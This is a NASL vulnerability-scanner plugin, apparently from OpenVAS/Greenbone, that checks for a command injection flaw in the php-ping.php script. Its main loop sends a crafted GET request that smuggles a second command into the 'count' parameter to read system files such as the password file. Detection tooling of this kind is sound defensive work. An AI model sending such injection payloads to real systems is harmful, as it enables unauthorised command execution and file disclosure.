PHP Ping (php-ping.php) RCE Vulnerability - Active Check

# SPDX-FileCopyrightText: 2003 Noam Rathaus
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11966");
  script_version("2023-08-03T05:05:16+0000");
  # nb: Not 100% clear if this is that flaw but if it's vulnerable against the flaw from 2005 it's
  # also vulnerable against this one...
  script_cve_id("CVE-2006-0475");
  script_tag(name:"last_modification", value:"2023-08-03 05:05:16 +0000 (Thu, 03 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"https://web.archive.org/web/20061213171611/http://www.kapda.ir/advisory-231.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/9309");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("PHP Ping (php-ping.php) RCE Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2003 Noam Rathaus");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Host/runs_unixoide");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"php-ping is a simple php script executing the 'ping' command.

  A bug in this script allows users to execute arbitrary commands. The problem is based upon the
  fact that not all user inputs are filtered correctly: although $host is filtered using
  preg_replace(), the $count variable is passed unfiltered to the system() command.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) )
  exit( 0 );

files = traversal_files( "linux" );

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  url = dir + "/php-ping.php";
  res = http_get_cache( port:port, item:url );
  if( ! res || res !~ "^HTTP/1\.[01] 200" )
    continue;

  foreach file( keys( files ) ) {

    url = dir + "/php-ping.php?count=1+%26+cat%20/" + files[file] + "+%26&submit=Ping%21";

    if( http_vuln_check( port:port, url:url, check_header:TRUE, pattern:file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );